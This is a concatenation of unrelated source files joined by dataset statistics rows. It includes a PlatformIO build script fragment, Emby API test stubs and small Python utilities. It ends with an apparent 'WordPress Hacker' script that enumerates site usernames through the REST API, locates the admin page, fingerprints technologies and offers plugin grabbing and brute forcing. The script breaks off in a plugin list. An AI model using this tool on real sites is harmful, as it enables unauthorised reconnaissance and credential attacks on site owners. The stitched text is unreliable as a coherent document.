('DEVICE_PORTINOUT', '1'), ('DEVICE_SLEEP', '1'), ('TARGET_FF_MORPHO', None), ('TOOLCHAIN_GCC', None), ('TARGET_LIKE_CORTEX_M4', None), ('DEVICE_SPISLAVE', '1'), ('DEVICE_PORTIN', '1'), ('TARGET_UVISOR_UNSUPPORTED', None), ('TARGET_DEBUG', None), ('DEVICE_LOWPOWERTIMER', '1'), ('DEVICE_SPI_ASYNCH', '1'), ('DEVICE_PORTOUT', '1'), ('__CMSIS_RTOS', None), ('__MBED_CMSIS_RTOS_CM', None), ('USB_STM_HAL', None), ('DEVICE_PWMOUT', '1'), ('ARDUINO_{build_board}', None), ('TRANSACTION_QUEUE_SIZE_SPI', '2'), ('DEVICE_ERROR_RED', '1'), ('DEVICE_QSPI', '1'), ('TARGET_STM32F4', None), ('__FPU_PRESENT', '1'), ('__MBED__', '1'), ('TOOLCHAIN_GCC_ARM', None), ('TARGET_FF_ARDUINO', None), ('ARDUINO_ARCH_{build_arch}', None), ('TARGET_M4', None), ('TARGET_CORTEX_M', None), ('TARGET_AZ3166', None), ('DEVICE_SDIO', '1'), ('TARGET_STM', None), ('TARGET_LIKE_MBED', None), ('ARDUINO', '{runtime_ide_version}'), ('DEVICE_CAN', '1'), ('DEVICE_I2C', '1'), ('DEVICE_SERIAL_ASYNCH', '1'), ('DEVICE_I2CSLAVE', '1'), ('TOOLCHAIN_object', None), ('DEVICE_SPI', '1'), ('HSE_VALUE', '((uint32_t)26000000)'), ('MBED_BUILD_TIMESTAMP', '1490085708.63'), ('TARGET_RTOS_M4_M7', None), ('DEVICE_ANALOGIN', '1'), ('DEVICE_SERIAL', '1'), ('ARM_MATH_CM4', None), ('DEVICE_TRNG', '1'), ('DEVICE_STDIO_MESSAGES', '1'), ('TARGET_MXCHIP', None), ('DEVICE_INTERRUPTIN', '1')],
LIBPATH=['{build_path}', '{build_system_path}', '{build_system_path}/az3166-driver', '{build_system_path}/az3166-driver/libwlan/TARGET_EMW1062'],
LIBS=['stdc++', 'devkit-sdk-core-lib', 'wlan', 'stsafe', 'm'],
LINKFLAGS=['-mcpu={build_mcu}', '-mthumb', '-O2', '-g', '-Wl,--cref', '-Wl,--check-sections', '-Wl,--gc-sections', '-Wl,--unresolved-symbols=report-all', '-Wl,--warn-common', '-Wl,--warn-section-align', '-T{build_variant_path}/{build_ldscript}', '-Wl,-Map,{build_path}/{build_project_name}.map', '-Wl,--gc-sections', '-Wl,--wrap,_malloc_r', '-Wl,--wrap,_free_r', '-Wl,--wrap,_realloc_r', '-Wl,--wrap,_calloc_r', '-Wl,--start-group', '{build_path}/{archive_file}', '-Wl,--end-group', '-gcc', '--specs=nano.specs', '--specs=nosys.specs', '-u', '_printf_float'],
LIBSOURCE_DIRS=[join(FRAMEWORK_DIR, "libraries")]
)
BOARD_SUBS = dict(
build_arch="STM32",
build_board=board.get("build.board"),
build_core_path=join(FRAMEWORK_DIR, "cores", board.get("core")),
build_mcu=board.get("build.cpu"),
build_path=FRAMEWORK_DIR,
build_project_name="pio-project",
build_system_path=join(FRAMEWORK_DIR, "system"),
build_variant_path=join(FRAMEWORK_DIR, "variants",
board.get("build.variant")),
build_ldscript=board.get(
"build.ldscript", board.get("build.arduino.ldscript")),
runtime_ide_version=10813
)
def expand(def_str: AnyStr, def_index: Dict[AnyStr, AnyStr]) -> AnyStr:
class fmt_dict(dict):
def __missing__(self, key):
return f"{key}"
substitutions = fmt_dict(def_index)
before_expansion = def_str
after_expansion = def_str.format_map(substitutions)
while before_expansion != after_expansion:
before_expansion = after_expansion
after_expansion = after_expansion.format_map(substitutions)
return after_expansion
def expand_dict(d: Dict[AnyStr, Any], subs: Dict[AnyStr, AnyStr]) -> Dict[AnyStr, Any]:
result = dict()
for key, val in d.items():
key = expand(key, subs)
if isinstance(val, str):
result[key] = expand(val, subs)
elif isinstance(val, tuple):
result[key] = tuple(expand(token, subs) for token in val)
elif isinstance(val, list):
result[key] = [expand(token, subs) for token in val]
return result
COMPILE_OPTS = expand_dict(COMPILE_OPTS, BOARD_SUBS)
env.Append(
ASFLAGS=COMPILE_OPTS["ASFLAGS"],
CFLAGS=COMPILE_OPTS["CFLAGS"],
CCFLAGS=COMPILE_OPTS["CCFLAGS"],
CXXFLAGS=COMPILE_OPTS["CXXFLAGS"],
CPPDEFINES=COMPILE_OPTS["CPPDEFINES"],
LIBPATH=COMPILE_OPTS["LIBPATH"],
LIBS=COMPILE_OPTS["LIBS"],
LINKFLAGS=COMPILE_OPTS["LINKFLAGS"],
LIBSOURCE_DIRS=COMPILE_OPTS["LIBSOURCE_DIRS"]
)
env.Replace(LDSCRIPT_PATH=BOARD_SUBS['build_ldscript'])
| 108.526786 | 4,596 | 0.719786 | 1,748 | 12,155 | 4.715675 | 0.223112 | 0.054592 | 0.129201 | 0.13005 | 0.579401 | 0.547131 | 0.528934 | 0.475191 | 0.389907 | 0.361761 | 0 | 0.028006 | 0.080543 | 12,155 | 111 | 4,597 | 109.504505 | 0.709556 | 0.06919 | 0 | 0 | 0 | 0.111111 | 0.634585 | 0.430317 | 0 | 0 | 0 | 0 | 0.013889 | 1 | 0.041667 | false | 0 | 0.055556 | 0.013889 | 0.152778 | 0.013889 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
3e1273d5c93acbe68b76a43d8a958675d6ecacc9 | 446 | py | Python | __old/puzzle/gfx.py | paulscottrobson/fred | 41353e7c8bd63d31082cf78447c0484e49a1e727 | [
"MIT"
] | 3 | 2016-07-17T16:04:53.000Z | 2020-01-21T23:30:36.000Z | __old/puzzle/gfx.py | paulscottrobson/fred | 41353e7c8bd63d31082cf78447c0484e49a1e727 | [
"MIT"
] | null | null | null | __old/puzzle/gfx.py | paulscottrobson/fred | 41353e7c8bd63d31082cf78447c0484e49a1e727 | [
"MIT"
] | 1 | 2020-01-22T09:02:06.000Z | 2020-01-22T09:02:06.000Z | gfx = """
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FCF8
F0F0
FFFF
FFFF
3F1F
0F1F
F0F0
F8FC
FFFF
FFFF
0F0F
1F3F
FFFF
FFFF
F0F0
F8FC
3F1F
0F0F
0F0F
1F3F
FCF8
F0F0
0000
0000
0000
0000
"""
gfx = gfx.replace("\n","")
assert len(gfx) == 128
for addr in range(0x3C0,0x400):
p = (addr - 0x3C0) * 2
b = int(gfx[p:p+2],16)
s = "{0:08b}".format(b).replace("0",".").replace("1","X")
print(" db 0{0:02x}h ; {1}".format(b,s))
if addr % 8 == 7:
print("") | 8.745098 | 58 | 0.607623 | 83 | 446 | 3.26506 | 0.46988 | 0.236162 | 0.177122 | 0.177122 | 0.088561 | 0 | 0 | 0 | 0 | 0 | 0 | 0.204482 | 0.199552 | 446 | 51 | 59 | 8.745098 | 0.554622 | 0 | 0 | 0.72093 | 0 | 0 | 0.454139 | 0 | 0 | 0 | 0.033557 | 0 | 0.023256 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.046512 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
3e1d908ccc766839982110ebc1cb65459c77415b | 59 | py | Python | sla_cli/src/__init__.py | DavidWalshe93/SL-CLI | c92ca8a6e57eb51bf9c9433013ce16d443f8d152 | [
"MIT"
] | 2 | 2022-01-07T09:59:32.000Z | 2022-01-25T12:04:06.000Z | sla_cli/src/__init__.py | DavidWalshe93/SL-CLI | c92ca8a6e57eb51bf9c9433013ce16d443f8d152 | [
"MIT"
] | null | null | null | sla_cli/src/__init__.py | DavidWalshe93/SL-CLI | c92ca8a6e57eb51bf9c9433013ce16d443f8d152 | [
"MIT"
] | 1 | 2021-04-07T17:14:37.000Z | 2021-04-07T17:14:37.000Z | """
Author: David Walshe
Date: 08 April 2021
"""
| 11.8 | 25 | 0.542373 | 7 | 59 | 4.571429 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 0.322034 | 59 | 4 | 26 | 14.75 | 0.65 | 0.847458 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
3e6f1a76efbb7f08a502d9225d53da3ca66ec0eb | 156 | py | Python | ug_term/config.py | peteigel/ug-term | 8394ec8364131c88ed4194ba473d34d62794399d | [
"MIT"
] | null | null | null | ug_term/config.py | peteigel/ug-term | 8394ec8364131c88ed4194ba473d34d62794399d | [
"MIT"
] | null | null | null | ug_term/config.py | peteigel/ug-term | 8394ec8364131c88ed4194ba473d34d62794399d | [
"MIT"
] | null | null | null | UG_BASE_URL = 'https://www.ultimate-guitar.com'
EXCLUDE_TYPES = set()
EXCLUDE_TYPES.add('Guitar Pro')
EXCLUDE_TYPES.add('Video')
EXCLUDE_TYPES.add('Power') | 26 | 47 | 0.762821 | 24 | 156 | 4.708333 | 0.625 | 0.424779 | 0.39823 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.064103 | 156 | 6 | 48 | 26 | 0.773973 | 0 | 0 | 0 | 0 | 0 | 0.324841 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
3e812a7aa1ccb076b01a429a067bbfaed303c957 | 1,402 | py | Python | test/test_configuration_service_api.py | stanionascu/python-embyapi | a3f7aa49aea4052277cc43605c0d89bc6ff21913 | [
"BSD-3-Clause"
] | null | null | null | test/test_configuration_service_api.py | stanionascu/python-embyapi | a3f7aa49aea4052277cc43605c0d89bc6ff21913 | [
"BSD-3-Clause"
] | null | null | null | test/test_configuration_service_api.py | stanionascu/python-embyapi | a3f7aa49aea4052277cc43605c0d89bc6ff21913 | [
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
"""
Emby Server API
Explore the Emby Server API # noqa: E501
OpenAPI spec version: 4.1.1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import embyapi
from embyapi.api.configuration_service_api import ConfigurationServiceApi # noqa: E501
from embyapi.rest import ApiException
class TestConfigurationServiceApi(unittest.TestCase):
"""ConfigurationServiceApi unit test stubs"""
def setUp(self):
self.api = ConfigurationServiceApi() # noqa: E501
def tearDown(self):
pass
def test_get_system_configuration(self):
"""Test case for get_system_configuration
Gets application configuration # noqa: E501
"""
pass
def test_get_system_configuration_by_key(self):
"""Test case for get_system_configuration_by_key
Gets a named configuration # noqa: E501
"""
pass
def test_post_system_configuration(self):
"""Test case for post_system_configuration
Updates application configuration # noqa: E501
"""
pass
def test_post_system_configuration_by_key(self):
"""Test case for post_system_configuration_by_key
Updates named configuration # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 22.612903 | 87 | 0.679743 | 160 | 1,402 | 5.6875 | 0.375 | 0.167033 | 0.048352 | 0.065934 | 0.465934 | 0.416484 | 0.376923 | 0.185714 | 0.120879 | 0 | 0 | 0.024598 | 0.246077 | 1,402 | 61 | 88 | 22.983607 | 0.836329 | 0.416548 | 0 | 0.25 | 1 | 0 | 0.011511 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0.25 | 0.25 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
3e81465e61e480b96d43c053a4287088b9cf743d | 776 | py | Python | entities/screen.py | aboulay/goyave.py | ce46f582d87a9fc5a455e7f5e1b0103a4571f157 | [
"MIT"
] | null | null | null | entities/screen.py | aboulay/goyave.py | ce46f582d87a9fc5a455e7f5e1b0103a4571f157 | [
"MIT"
] | null | null | null | entities/screen.py | aboulay/goyave.py | ce46f582d87a9fc5a455e7f5e1b0103a4571f157 | [
"MIT"
] | null | null | null | class Screen():
def __init__(self):
self.name = ""
self.url = ""
self.format = ""
self.data = []
self.main_information = ""
def get_name(self):
return self.name
def set_name(self, name):
self.name = name
def get_url(self):
return self.url
def set_url(self, url):
self.url = url
def get_format(self):
return self.format
def set_format(self, format):
self.format = format
def get_data(self):
return self.data
def set_data(self, data):
self.data = data
def get_main_information(self):
return self.main_information
def set_main_information(self, main_information):
self.main_information = main_information
| 20.421053 | 53 | 0.588918 | 97 | 776 | 4.494845 | 0.14433 | 0.240826 | 0.16055 | 0.100917 | 0.12156 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.313144 | 776 | 37 | 54 | 20.972973 | 0.818011 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.407407 | false | 0 | 0 | 0.185185 | 0.62963 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
3e8aefeb22b7b75cecd5d4471e2544f435419b90 | 56 | py | Python | sente/sgf/__init__.py | aniljava/sente | 91df831539ff57f2fceec849b9c648941bb8ea46 | [
"Apache-2.0"
] | 1 | 2016-05-26T17:33:16.000Z | 2016-05-26T17:33:16.000Z | sente/sgf/__init__.py | aniljava/sente | 91df831539ff57f2fceec849b9c648941bb8ea46 | [
"Apache-2.0"
] | null | null | null | sente/sgf/__init__.py | aniljava/sente | 91df831539ff57f2fceec849b9c648941bb8ea46 | [
"Apache-2.0"
] | null | null | null |
from . import sgf
from_string=sgf.Sgf_game.from_string | 14 | 36 | 0.821429 | 10 | 56 | 4.3 | 0.5 | 0.465116 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 56 | 4 | 36 | 14 | 0.86 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
3e909fe977a45e78ba7354c0815bec904b45db34 | 69 | py | Python | pdpython_model/fixed_model/run.py | seifely/pdpython | 41410ca2807509caf32794bef57e7e210dcbce6f | [
"MIT"
] | null | null | null | pdpython_model/fixed_model/run.py | seifely/pdpython | 41410ca2807509caf32794bef57e7e210dcbce6f | [
"MIT"
] | null | null | null | pdpython_model/fixed_model/run.py | seifely/pdpython | 41410ca2807509caf32794bef57e7e210dcbce6f | [
"MIT"
] | null | null | null | from pdpython_model.fixed_model.server import server
server.launch() | 23 | 52 | 0.855072 | 10 | 69 | 5.7 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.072464 | 69 | 3 | 53 | 23 | 0.890625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
e41e635034eba87e26a3ed8f90e54a6c5bd99fbc | 27,915 | py | Python | WordPress-Hacker-master/WordPress Hacker.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | WordPress-Hacker-master/WordPress Hacker.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | WordPress-Hacker-master/WordPress Hacker.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | import os, random, time, socket, sys, requests, builtwith, json, urllib.parse
RED = '\033[31m'
GREEN = '\033[32m'
YELLOW = '\033[33m'
BLUE = '\033[34m'
MAGENTA = '\033[35m'
CYAN = '\033[36m'
WHITE = '\033[37m'
Headers = {
'Accept':'*/*',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36',
}
def Print_Logo():
Colors = ['\033[31m', '\033[32m', '\033[33m', '\033[34m', '\033[35m', '\033[36m', '\033[37m', '\033[39m']
Logo = '''
__ __ _ _____
\ \ / / | | __ \
\ \ /\ / /__ _ __ __| | |__) | __ ___ ___ ___
\ \/ \/ / _ \| '__/ _` | ___/ '__/ _ \/ __/ __|
\ /\ / (_) | | | (_| | | | | | __/\__ \__ \\
\/ \/ \___/|_| \__,_|_| |_| \___||___/___/
'''+YELLOW+'''+'''+GREEN+'''----------------------------'''+YELLOW+'''+
'''+YELLOW+'''+ '''+CYAN+'''Programmer'''+BLUE+''': '''+MAGENTA+'''.::Shayan::. '''+YELLOW+'''+
'''+YELLOW+'''+ '''+CYAN+'''Developer'''+BLUE+''': '''+MAGENTA+'''ZetaTech '''+YELLOW+'''+
'''+YELLOW+'''+ '''+CYAN+'''Telegram'''+BLUE+''': '''+MAGENTA+'''@ZetaTech_iR '''+YELLOW+'''+
'''+YELLOW+'''+'''+GREEN+'''----------------------------'''+YELLOW+'''+
_ _ _
| | | | | |
| |__| | __ _ ___| | _____ _ __
| __ |/ _` |/ __| |/ / _ \ '__|
| | | | (_| | (__| < __/ |
|_| |_|\__,_|\___|_|\_\___|_|
'''+GREEN+'''['''+MAGENTA+'''*'''+GREEN+''']'''+YELLOW+'''Choose An Option '''+WHITE+''':
'''+GREEN+'''['''+MAGENTA+'''1'''+GREEN+''']'''+YELLOW+'''Get Information | '''+GREEN+'''['''+MAGENTA+'''2'''+GREEN+''']'''+YELLOW+'''Plugin Grabber | '''+GREEN+'''['''+MAGENTA+'''3'''+GREEN+''']'''+YELLOW+'''Brute Forcer
'''+GREEN+'''['''+MAGENTA+'''0'''+GREEN+''']'''+YELLOW+'''Exit'''
for Line in Logo.split('\n'):
time.sleep(0.1)
print(random.choice(Colors)+Line)
def Clear():
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
def Main():
Clear()
Print_Logo()
op = input(GREEN+' > '+YELLOW)
if op != '':
if int(op) <= 3:
if int(op) == 1:
Clear()
Get_Infomation()
elif int(op) == 2:
Clear()
Plugin_Grabber()
elif int(op) == 3:
Clear()
BruteForcer()
else:
sys.exit(0)
else:
pass
else:
pass
def UrlTools(Url):
if Url.lower().startswith('https://') or Url.lower().startswith('http://'):
Url = Url.replace('http://','').replace('https://','')
return Url
def Upper(Word):
Worrd = ''
sp = Word.split(' ')
Count = len(sp)
for W in sp:
Worrd += W.title()+' '
def Info(Url):
B = builtwith.parse(Url)
Last = ''
for N in B:
Last = N
Info = ''
Count = 0
for Name in B:
Count = len(B[Name]) -1
Values = ''
for Value in B[Name]:
Split = BLUE+' | '+MAGENTA
if Value == B[Name][Count]:
Split = ''
Values += Value+Split
if Name == Last:
Info += ' '+CYAN+'['+WHITE+'+'+CYAN+']'+YELLOW+Name.replace('-','').title()+GREEN+': '+MAGENTA+Values
else:
Info += ' '+CYAN+'['+WHITE+'+'+CYAN+']'+YELLOW+Name.replace('-',' ').title()+GREEN+': '+MAGENTA+Values+WHITE+'\n'
return Info
def GetUsername(Url):
r = requests.get(Url+'/wp-json/wp/v2/users/',headers=Headers).text
j = json.loads(r)
Count = len(j) - 1
cn = 0
User = ''
for Val in j:
Split = '\n'
if Count == cn:
Split = ''
U = j[cn]['slug']
if not U == '':
User += ' '+CYAN+'['+WHITE+'+'+CYAN+'] '+YELLOW+U+Split
cn += 1
if User == '':
User = RED+'Not Found!'
return User
def AdminPage(Url):
r = requests.get(Url+'/wp-admin',allow_redirects=False)
AdminPageuRL = ''
if r.status_code == 200:
AdminPageuRL = RED+'Not Found!'
elif r.status_code == 301:
AdminPageuRL = MAGENTA+Url+'/wp-admin'
return AdminPageuRL
def Get_Infomation():
print('\n\n '+YELLOW+'['+GREEN+'!'+YELLOW+']'+BLUE+'Please Enter The Target Url\n')
Target = input(MAGENTA+' > '+GREEN)
Url = UrlTools(Target).title()
Ip = ' '+CYAN+'['+WHITE+'+'+CYAN+']'+YELLOW+'Ip'+MAGENTA+socket.gethostbyname(Url)
Infor = ' '+CYAN+'['+WHITE+'+'+CYAN+']'+YELLOW+'Information'+GREEN+': \n'+Info('http://'+Url)
UserName = ' '+CYAN+'['+WHITE+'+'+CYAN+']'+YELLOW+'Usernames'+GREEN+': \n'+GetUsername('http://'+Url)
AdminPageUrl = ' '+CYAN+'['+WHITE+'+'+CYAN+']'+YELLOW+'Admin Page'+GREEN+': '+AdminPage('http://'+Url)
Url = ' '+CYAN+'['+WHITE+'*'+CYAN+']'+YELLOW+'Target'+GREEN+': '+MAGENTA+'http://'+Url
print('\n\n'+Url+'\n'+Infor+'\n'+UserName+'\n'+AdminPageUrl+'\n')
input('\n\n\n'+GREEN+'Finished!'+'\n'+GREEN+'Press '+'`'+MAGENTA+'Enter'+GREEN+'` To Continue'+GREEN+'...')
Main()
def Plugin_Grabber():
Plugins = 'starbox|code-snippets|contact-form-7-honeypot|genesis-layout-extras|wp-google-fonts|wp-statistics|gtranslate|wp-all-import|stop-spammer-registrations-plugin|multiple-post-thumbnails|vipers-video-quicktags|bm-custom-login|rotatingtweets|yith-maintenance-mode|webriti-smtp-mail|wp-shortcode|yith-woocommerce-compare|keycaptcha|social-count-plus|flickr-rss|cachify|advertising-manager|shareaholic|login-security-solution|mail-subscribe-list|cms-tree-page-view|wp-super-cache|ag-custom-admin|paypal-donations|metronet-reorder-posts|velvet-blues-update-urls|pixcodes|wp-youtube-lyte|wp-mobile-detect|easy-coming-soon|wordpress-23-related-posts-plugin|fruitful-shortcodes|italy-cookie-choices|wp-mail-bank|photo-gallery|simple-login-log|easy-columns|squirrly-seo|simple-backup|theme-my-login|verify-google-webmaster-tools|recent-posts-widget-with-thumbnails|regenerate-thumbnails|really-simple-captcha|master-slider|simple-image-widget|dynamic-widgets|nofollow-for-external-link|lightweight-social-icons|backup-with-restore|display-posts-shortcode|post-type-switcher|easy-digital-downloads|advanced-random-posts-widget|get-the-image|download-monitor|facebook-page-promoter-lightbox|wp-google-analytics|wp-polls|siteguard|youtube-channel-gallery|wowslider|recent-facebook-posts|flare|wysiwyg-widgets|wp-facebook-open-graph-protocol|capability-manager-enhanced|gallery-bank|custom-facebook-feed|special-recent-posts|font-awesome-4-menus|menu-image|wp-site-migrate|woocommerce-product-archive-customiser|welcome-email-editor|google-language-translator|easy-twitter-feed-widget|wp-postratings|add-to-any|ajax-event-calendar|ps-auto-sitemap|pinterest-pin-it-button-for-images|jquery-t-countdown-widget|instagram-for-wordpress|lightbox-plus|auto-terms-of-service-and-privacy-policy|ewww-image-optimizer|backwpup|updraftplus|tweetthis|commentluv|uji-countdown|custom-sidebars|option-tree|co-authors-plus|q2w3-fixed-widget|wp-hide-post|enhanced-media-library|slider-image|wp-maintenance-mode|wp-insert|stats-counter|accesspress-custom-css|aqua-page-builder|post-snippets|custom-menu-wizard|genesis-connect-woocommerce|pagerestrict|seo-facebook-comments|akismet|tiled-gallery-carousel-without-jetpack|crazy-bone|clone-posts|wp-share-buttons-analytics-by-getsocial|genesis-title-toggle|google-document-embedder|contact-form-to-email|json-api|email-subscribers|popups|extended-categories-widget|disable-google-fonts|kimili-flash-embed|wpfront-scroll-top|social-profiles-widget|wplegalpages|column-shortcodes|wpfront-user-role-editor|wp-admin-bar-removal|bad-behavior|player|wp-content-copy-protector|pushpress|templatesnext-toolkit|ultimate-tinymce|slideshow-gallery|responsive-menu|mainwp-child|woocommerce-colors|advanced-iframe|shortcodes-ultimate|flexi-quote-rotator|wpmandrill|woocommerce-pdf-invoices-packing-slips|new-google-plus-badge-widget|nk-google-analytics|twitter-facebook-google-plusone-share|wordpress-access-control|wp-simple-firewall|menu-icons|svg-vector-icon-plugin|wp-bannerize|content-aware-sidebars|rss-post-importer|yith-woocommerce-zoom-magnifier|portfolio-slideshow|wp-better-emails|embed-any-document|simple-image-sizes|seo-redirection|google-maps|better-analytics|advanced-access-manager|seo-image|remove-category-url|super-rss-reader|rating-widget|amazon-web-services|accesspress-social-share|flexi-pages-widget|related-posts|white-label-cms|multi-device-switcher|sexybookmarks|udinra-all-image-sitemap|wp-hide-dashboard|alexa-internet|what-the-file|wp-retina-2x|simple-history|xml-sitemaps|ozh-admin-drop-down-menu|cms-commander-client|feedburner-plugin|wp-video-lightbox|advanced-excerpt|wp-email-login|simple-custom-css|wc-shortcodes|wp-jquery-lightbox|easy-wp-smtp|wp-smushit|brute-force-login-protection|bootstrap-shortcodes|transposh-translation-filter-for-wordpress|wordpress-ping-optimizer|wp-email|ultimate-maintenance-mode|hyper-cache|multi-plugin-installer|woosidebars|social|types|weaver-ii-theme-extras|custom-content-type-manager|vaultpress|lj-maintenance-mode|tabby-responsive-tabs|seo-automatic-links|add-local-avatar|widget-logic|easy-theme-and-plugin-upgrades|bulletproof-security|contact-form-plugin|soundcloud-is-gold|awesome-weather|simple-google-analytics|tinymce-advanced|useful-banner-manager|categories-images|live-composer-page-builder|addthis|alpine-photo-tile-for-instagram|html-sitemap|yith-woocommerce-ajax-search|wp-clean-up|responsive-lightbox-lite|wp-smtp|drafts-scheduler|loco-translate|widget-css-classes|ckeditor-for-wordpress|hide-admin-bar-from-non-admins|codepeople-post-map|php-text-widget|remove-dashboard-access-for-non-admins|buddypress-media|jetpack|ga-google-analytics|wp-edit|one-click-close-comments|wordpress-simple-paypal-shopping-cart|video-embed-thumbnail-generator|wordpress-database-reset|force-regenerate-thumbnails|beaver-builder-lite-version|php-code-for-posts|all-404-redirect-to-homepage|ad-injection|cornerstone|wpclef|json-rest-api|flash-album-gallery|orbisius-child-theme-creator|custom-post-type-permalinks|baw-post-views-count|duracelltomi-google-tag-manager|horizontal-scrolling-announcement|backupwordpress|megamenu|google-author-link|shortcoder|byrev-wp-picshield-hotlink-defence|wp-easy-gallery|comprehensive-google-map-plugin|event-organiser|collapsing-categories|smart-youtube|easy-fancybox|custom-post-widget|easy-testimonials|profile-builder|insert-headers-and-footers|google-universal-analytics|widget-settings-importexport|youtube-embed|ajax-thumbnail-rebuild|wp-sitemap-page|woocommerce|wp-to-twitter|wp-security-audit-log|schema-creator|wp-job-manager-locations|mailchimp-for-wp|sidekick|wp-product-review|ultimate-under-construction|compact-wp-audio-player|videojs-html5-video-player-for-wordpress|post-thumbnail-editor|wp-user-avatar|yith-woocommerce-ajax-navigation|wordpress-importer|call-now-button|easy-pie-maintenance-mode|wp-spamshield|share-this|wp-lightbox-2|wp-add-custom-css|itro-popup|kebo-twitter-feed|rename-wp-login|wordtwit|broken-link-checker|faster-pagination|addthis-follow|woocommerce-csvimport|wp-socializer|clean-and-simple-contact-form-by-meg-nicholas|easy-google-fonts|hide-admin-bar|nextgen-gallery-optimizer|captcha-on-login|email-users|wp-google-maps|simple-page-ordering|css-javascript-toolbox|wp-security-scan|custom-contact-forms|lightbox|gantry|easing-slider|social-locker|wp-htaccess-editor|feed-them-social|super-socializer|role-scoper|black-studio-tinymce-widget|wp-pro-quiz|wp-tab-widget|featured-video-plus|simple-page-sidebars|add-meta-tags|facebook-conversion-pixel|wp-super-cache-clear-cache-menu|cookie-notice|block-bad-queries|xcloner-backup-and-restore|simple-google-map|404-to-start|spam-free-wordpress|title-remover|yikes-inc-easy-mailchimp-extender|sitemap|admin-menu-editor|advanced-post-slider|stealth-login-page|rss-includes-pages|wassup|woocommerce-delivery-notes|ultimate-responsive-image-slider|simple-social-buttons|header-and-footer-scripts|advanced-responsive-video-embedder|stop-spam-comments|open-external-links-in-a-new-window|polldaddy|feedburner-form|wptouch|tac|media-library-assistant|wp-favorite-posts|imsanity|store-locator-le|wordpress-social-login|pods|wp-pagenavi-style|growmap-anti-spambot-plugin|seo-ult